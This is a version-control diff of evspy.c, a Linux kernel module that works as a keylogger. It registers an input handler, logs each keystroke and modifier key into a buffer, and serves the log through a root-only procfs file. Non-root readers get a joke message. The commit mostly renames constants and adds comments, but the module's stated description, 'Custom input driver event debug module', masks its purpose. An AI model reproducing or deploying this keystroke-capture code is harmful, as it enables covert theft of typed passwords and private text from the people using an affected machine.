summaryrefslogtreecommitdiff
path: root/evspy/evspy.c
diff options
context:
space:
mode:
Diffstat (limited to 'evspy/evspy.c')
-rw-r--r--evspy/evspy.c149
1 files changed, 88 insertions, 61 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c
index 819a914..3216a62 100644
--- a/evspy/evspy.c
+++ b/evspy/evspy.c
@@ -41,9 +41,22 @@
static char *buffer;
static char *rdp;
static char *wrp;
-static char tag[] = "<+XXX>";
-static unsigned int blkmayus_state = FREE;
+static char *map = EVS_MAP; // The current keyboard layout
+// This is how special keys will be displayed (+: pressed / -: freed)
+static char sp_tag[] = "<+XXX>";
+
+
+/*
+ * Sometimes when blkmayus is pressed two identical events are triggered.
+ * blkmayus_state is meant to know if it has been already pressed,
+ * and discards the second event in that case
+ */
+static unsigned int blkmayus_state = EVS_VAL_FREE;
+
+/*
+ * Executed when the procfs file is read (EVS_PROCNAME)
+ */
int evspy_read_proc(char *page, char **start, off_t offset, int count,
int *eof, void *data)
{
@@ -51,11 +64,16 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
int retval = 0;
int diff = wrp - rdp;
+ // root only plz
if (current_uid() || current_euid()) {
- n = MIN(10, count);
- strncpy(page, "Trolololo", n);
+#if EVS_TROLL == 1
+ n = MIN(36, count);
+ strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
*eof = 1;
return n;
+#else
+ return -EPERM;
+#endif
}
if (diff > 0) {
@@ -65,7 +83,7 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
retval = n;
} else if (diff < 0) {
- toend = (buffer + BUFSIZE) - rdp;
+ toend = (buffer + EVS_BUFSIZE) - rdp;
n = MIN(toend, count);
strncpy(page, rdp, n);
retval = n;
@@ -85,98 +103,108 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
return retval;
}
-void special_char(unsigned int code, unsigned int value)
+/*
+ * Handle unknown/special key events
+ */
+static void special_char(unsigned int code, unsigned int value)
{
- int known = 1;
int i;
+ int known = 1;
- // Elimina eventos de "despulsado" para teclas no deseadas
+ // We don't care when some keys are freed
switch(code) {
- case RMAYUS:
- case LMAYUS:
- case ALT:
- case LCTRL:
- case RCTRL:
- case ALTGR:
+ case EVS_COD_RMAYUS:
+ case EVS_COD_LMAYUS:
+ case EVS_COD_ALT:
+ case EVS_COD_LCTRL:
+ case EVS_COD_RCTRL:
+ case EVS_COD_ALTGR:
break;
default:
- if (value == FREE)
+ if (value == EVS_VAL_FREE)
return;
}
switch(code) {
- case RMAYUS:
- case LMAYUS:
- strncpy(tag+2, "MAY", 3);
+ case EVS_COD_RMAYUS:
+ case EVS_COD_LMAYUS:
+ strncpy(sp_tag+2, "MAY", 3);
break;
- case ALT:
- strncpy(tag+2, "ALT", 3);
+ case EVS_COD_ALT:
+ strncpy(sp_tag+2, "ALT", 3);
break;
- case ALTGR:
- strncpy(tag+2, "AGR", 3);
+ case EVS_COD_ALTGR:
+ strncpy(sp_tag+2, "AGR", 3);
break;
- case LCTRL:
- case RCTRL:
- strncpy(tag+2, "CTR", 3);
+ case EVS_COD_LCTRL:
+ case EVS_COD_RCTRL:
+ strncpy(sp_tag+2, "CTR", 3);
break;
- case TAB:
- strncpy(tag+2, "TAB", 3);
+ case EVS_COD_TAB:
+ strncpy(sp_tag+2, "TAB", 3);
break;
- case ESC:
- strncpy(tag+2, "ESC", 3);
+ case EVS_COD_ESC:
+ strncpy(sp_tag+2, "ESC", 3);
break;
- case UP_AR:
- strncpy(tag+2, "A^^", 3);
+ case EVS_COD_UP_AR:
+ strncpy(sp_tag+2, "^^A", 3);
break;
- case DOWN_AR:
- strncpy(tag+2, "Avv", 3);
+ case EVS_COD_DOWN_AR:
+ strncpy(sp_tag+2, "vvA", 3);
break;
- case LEFT_AR:
- strncpy(tag+2, "A<<", 3);
+ case EVS_COD_LEFT_AR:
+ strncpy(sp_tag+2, "<<A", 3);
break;
- case RIGHT_AR:
- strncpy(tag+2, "A>>", 3);
+ case EVS_COD_RIGHT_AR:
+ strncpy(sp_tag+2, ">>A", 3);
break;
default:
known = 0;
}
if (!known && isfX(code)) {
- strncpy(tag+2, "F??", 3);
+ // TODO: Which F key has been pressed?
+ strncpy(sp_tag+2, "F??", 3);
} else if (!known) {
-// strncpy(tag+2, "UNK", 3);
+// strncpy(sp_tag+2, "UNK", 3); // Uncomment this to display unknown events
return;
}
- if (value == PRESS)
- tag[1] = '+';
- else if (value == FREE)
- tag[1] = '-';
+ if (value == EVS_VAL_PRESS)
+ sp_tag[1] = '+';
+ else if (value == EVS_VAL_FREE)
+ sp_tag[1] = '-';
- for (i = 0; i < sizeof(tag) - 1; i++)
- ins(tag[i]);
+ for (i = 0; i < sizeof(sp_tag) - 1; i++)
+ evs_insrt(sp_tag[i]);
}
static void evspy_event(struct input_handle *handle, unsigned int type,
unsigned int code, int value)
{
- if (type == EV_BLKMAYUS) {
- // A veces la mierda esta manda dos eventos en vez de uno al pulsar BLKMAYUS
+ // Ignore hold-key events
+ if (unlikely(value == EVS_VAL_HOLD))
+ return;
+
+ // If bloq mayus is pressed, handle it the same way as left mayus
+ if (type == EVS_TYPE_BLKMAYUS) {
if (value != blkmayus_state)
- special_char(LMAYUS, value);
- if (value == PRESS)
- blkmayus_state = PRESS;
- else if (value == FREE)
- blkmayus_state = FREE;
+ special_char(EVS_COD_LMAYUS, value);
+ blkmayus_state = value;
return;
- } else if (type != 1 || value == HOLD || unlikely(code >= sizeof(map_es))) {
+ } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) {
return;
}
- if (map_es[code] == '.' && likely(code != DOT))
+
+ // Special/unknown keys (alt, ctrl, esc, mayus, etc)
+ if (map[code] == '.' && likely(code != EVS_COD_DOT))
special_char(code, value);
- else if (value == PRESS)
- ins(map_es[code]);
+
+ // "Direct" keys (alphanumeric + some symbols)
+ else if (value == EVS_VAL_PRESS) {
+ evs_insrt(map[code]);
+ }
}
static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
@@ -234,9 +262,8 @@ static struct input_handler evspy_handler = {
static int __init evspy_init(void)
{
- create_proc_read_entry(PROCNAME, 0, NULL,
- evspy_read_proc, NULL);
- buffer = kmalloc(BUFSIZE, GFP_KERNEL);
+ create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
+ buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL);
rdp = buffer;
wrp = buffer;
return !buffer || input_register_handler(&evspy_handler);
@@ -245,14 +272,14 @@ static int __init evspy_init(void)
static void __exit evspy_exit(void)
{
kfree(buffer);
- remove_proc_entry(PROCNAME, NULL);
+ remove_proc_entry(EVS_PROCNAME, NULL);
input_unregister_handler(&evspy_handler);
}
module_init(evspy_init);
module_exit(evspy_exit);
-MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>");
+MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
MODULE_DESCRIPTION("Custom input driver event debug module");
MODULE_LICENSE("GPL");